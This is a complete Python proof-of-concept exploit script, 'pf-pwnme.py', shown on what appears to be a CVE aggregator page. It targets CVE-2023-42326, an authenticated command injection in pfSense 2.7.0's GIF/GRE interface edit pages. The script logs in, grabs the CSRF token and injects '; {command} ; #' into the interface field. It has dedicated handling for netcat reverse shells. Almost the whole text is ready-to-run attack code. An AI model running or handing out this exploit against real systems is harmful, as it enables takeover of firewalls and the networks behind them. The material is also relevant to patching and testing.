4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / pf-pwnme.py PY
import requests
import argparse
import sys
from datetime import datetime
from rich.console import Console
from rich.progress import Progress
from rich import box
from bs4 import BeautifulSoup
import threading
import urllib3

# Suppress InsecureRequestWarning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

console = Console()
def parse_args():
    parser = argparse.ArgumentParser(description="pfSense 2.7.0 Command Injection Exploit PoC (CVE-2023-42326)")
    parser.add_argument('-u', '--username', required=True, help='Username for pfSense admin login')
    parser.add_argument('-p', '--password', required=True, help='Password for pfSense admin login')
    parser.add_argument('-t', '--target', required=True, help='Target pfSense IP (e.g., http://10.101.1.1)')
    parser.add_argument('--mode', required=True, choices=['gif', 'gre'], help='Exploit mode: gif or gre')
    parser.add_argument('-c', '--command', required=True, help='Command to inject')
    parser.add_argument('-d', '--debug', action='store_true', help='Enable debug mode to print response data')
    parser.add_argument('--insecure', action='store_true', help='Allow insecure server connections when using SSL (similar to curl -k)')
    return parser.parse_args()

def print_banner():
    banner = r"""
██████╗ ███████╗██████╗ ██╗    ██╗███╗   ██╗███╗   ███╗███████╗
██╔══██╗██╔════╝██╔══██╗██║    ██║████╗  ██║████╗ ████║██╔════╝
██████╔╝█████╗  ██████╔╝██║ █╗ ██║██╔██╗ ██║██╔████╔██║█████╗  
██╔═══╝ ██╔══╝  ██╔═══╝ ██║███╗██║██║╚██╗██║██║╚██╔╝██║██╔══╝  
██║     ██║     ██║     ╚███╔███╔╝██║ ╚████║██║ ╚═╝ ██║███████╗
╚═╝     ╚═╝     ╚═╝      ╚══╝╚══╝ ╚═╝  ╚═══╝╚═╝     ╚═╝╚══════╝

Done with ❤️  by @bl4ckarch                                                            
"""
    console.print(f"[bold cyan]{banner}[/bold cyan]")

def timestamp():
    return datetime.now().strftime("%Y-%m-%d %H:%M:%S")

def check_target_reachable(target, insecure):
    try:
        response = requests.get(f"{target}/", verify=not insecure)
        if response.status_code == 200:
            console.print(f"[{timestamp()}] [bold green][SUCCESS] Target {target} is reachable[/bold green]")
            return True
        else:
            console.print(f"[{timestamp()}] [bold red][ERROR] Target {target} responded with status code {response.status_code}[/bold red]")
            return False
    except requests.exceptions.RequestException as e:
        console.print(f"[{timestamp()}] [bold red][ERROR] Target {target} is unreachable: {str(e)}[/bold red]")
        return False

def get_csrf_token(session, target, url_path, insecure, debug):
    full_url = f"{target}/{url_path}"
    console.print(f"[{timestamp()}] [bold cyan][INFO] Fetching CSRF token from: {full_url}[/bold cyan]")
    response = session.get(full_url, verify=not insecure)

    if response.status_code != 200:
        console.print(f"[{timestamp()}] [bold red][ERROR] Failed to fetch page {url_path}[/bold red]")
        return None

    soup = BeautifulSoup(response.text, 'html.parser')
    csrf_token = soup.find('input', {'name': '__csrf_magic'})

    if csrf_token and csrf_token['value']:
        console.print(f"[{timestamp()}] [bold green][SUCCESS] CSRF token extracted successfully[/bold green]")
        if debug:
            console.print(f"[{timestamp()}] [bold yellow][DEBUG] CSRF token: {csrf_token['value']}[/bold yellow]")
        return csrf_token['value']
    else:
        console.print(f"[{timestamp()}] [bold red][ERROR] Failed to extract CSRF token from {url_path}[/bold red]")
        return None

def login(session, target, username, password, insecure, debug):
    csrf_token = get_csrf_token(session, target, "", insecure, debug)
    if not csrf_token:
        sys.exit(1)

    login_url = f"{target}/"
    login_data = {
        "__csrf_magic": csrf_token,
        "usernamefld": username,
        "passwordfld": password,
        "login": "Sign In"
    }

    console.print(f"[{timestamp()}] [bold cyan][INFO] Sending login request to {login_url}[/bold cyan]")
    response = session.post(login_url, data=login_data, verify=not insecure)

    if response.status_code == 200 and "dashboard" in response.text.lower():
        console.print(f"[{timestamp()}] [bold green][SUCCESS] Logged in successfully[/bold green]")
        return True
    else:
        console.print(f"[{timestamp()}] [bold red][ERROR] Failed to log in, check username and password[/bold red]")
        return False

def send_exploit(session, exploit_url, data, mode, insecure, debug):
    console.print(f"[{timestamp()}] [bold cyan][INFO] Sending {mode.upper()} exploit request to {exploit_url}[/bold cyan]")
    with Progress() as progress:
        task = progress.add_task(f"[cyan]Sending {mode.upper()} exploit...", total=100)
        for _ in range(100):
            progress.update(task, advance=1)

    try:
        exploit_response = session.post(exploit_url, data=data, timeout=10, verify=not insecure)

        if debug:
            console.print(f"[{timestamp()}] [bold yellow][DEBUG] Exploit response data: {exploit_response.text[:500]}[/bold yellow]")

        if exploit_response.status_code == 200:
            console.print(f"[{timestamp()}] [bold green][SUCCESS] {mode.upper()} Exploit sent successfully[/bold green]")
        else:
            console.print(f"[{timestamp()}] [bold red][ERROR] Failed to send the {mode.upper()} exploit[/bold red]")
    except requests.exceptions.Timeout:
        console.print(f"[{timestamp()}] [bold yellow][WARNING] Request timed out. Reverse shell might have been triggered. Check your listener![/bold yellow]")

def exploit(session, target, command, mode, insecure, debug):
    url_path = "interfaces_gif_edit.php" if mode == 'gif' else "interfaces_gre_edit.php"
    param_name = "gifif" if mode == 'gif' else "greif"
    csrf_token = get_csrf_token(session, target, url_path, insecure, debug)
    if not csrf_token:
        sys.exit(1)
    exploit_url = f"{target}/{url_path}"
    malicious_data = {
        "__csrf_magic": csrf_token,
        "if": "wan",  
        "remote-addr": "10.10.10.2",  
        "tunnel-local-addr": "127.0.0.1",  
        "tunnel-remote-addr": "10.10.10.2", 
        "tunnel-remote-net": "16",
        "descr": "testpoc",  
        param_name: f"; {command} ; #", 
        "save": "Save"  
    }

    if "nc" in command:
        console.print(f"[{timestamp()}] [bold blue][INFO] Netcat command detected. Running exploit in a new thread.[/bold blue]")
        thread = threading.Thread(target=send_exploit, args=(session, exploit_url, malicious_data, mode, insecure, debug))
        thread.start()

        console.print(f"[{timestamp()}] [bold yellow][INFO] Check your reverse shell listener window[/bold yellow]")
    else:
        send_exploit(session, exploit_url, malicious_data, mode, insecure, debug)

def main():
    print_banner()
    args = parse_args()
    session = requests.Session()
    if not check_target_reachable(args.target, args.insecure):
        sys.exit(1)

    if not login(session, args.target, args.username, args.password, args.insecure, args.debug):
        sys.exit(1)

    exploit(session, args.target, args.command, args.mode, args.insecure, args.debug)

if __name__ == "__main__":
    main()